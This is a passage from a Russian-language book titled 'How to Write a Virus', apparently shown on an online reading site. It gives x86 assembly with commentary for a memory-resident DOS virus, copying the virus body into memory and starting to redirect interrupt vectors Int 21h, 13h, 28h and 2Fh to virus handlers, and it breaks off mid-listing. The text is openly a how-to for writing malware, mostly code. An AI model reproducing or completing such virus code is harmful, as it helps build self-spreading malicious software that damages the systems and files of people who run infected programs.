"Игорь Коваль. Как написать вирус" - читать интересную книгу автора

тывать прерывания: Int 21h, Int 13h, Int 28h и Int
2fh.Несколько позже мы разберемся, почему потребо-
валось перехватить именно их и приведем тексты ви-
русных обработчиков этих прерываний.


2.11 Копируем вирусный код в память

Теперь настало время переписать в память код виру-
са и подготовить его к работе в резидентном режи-
ме :

mov word ptr vir,9090h ;Подготавливаем
mov tg_infect,0 ;вирус к рези-
;дентной работе

mov es,ax ;И копируем его
xor di,di ;в память...
mov cx,vir_len
prg_copy: mov bl,byte ptr vir[di]
mov byte ptr es:[di],bl
inc di
loop prg_copy

В самом начале нужно сбросить в ноль переменную
" tg_infect ", чтобы вирус не занимался заражением
файлов, пока его об этом не попросят .Далее,в пер-
вые два байта кода вируса, который мы собираемся
записывать в память, следует записать две команды
NOP, или код 9090h ( см п. 2.2 ) .
Теперь тело вируса просто копируется в блок памя-
ти, сегментный адрес которого задан в регистре AX.


2.12 Устанавливаем вектора прерываний
на вирусные обработчики

Все подготовительные действия выполнены, и нам то-
лько осталось заменить адреса системных обработчи-
ков прерываний Int 21h, Int 13h, Int 28h и Int 2fh
на адреса вирусных обработчиков,после чего необхо-
димо передать управление зараженной программе .Это
мы сейчас и сделаем :

xor bx,bx ;Устанавливаем
;вектора преры-
mov es,bx ;ваний на вирус-
cli ;ные обработчики
mov di,084h
mov word ptr es:[di],to_new_21h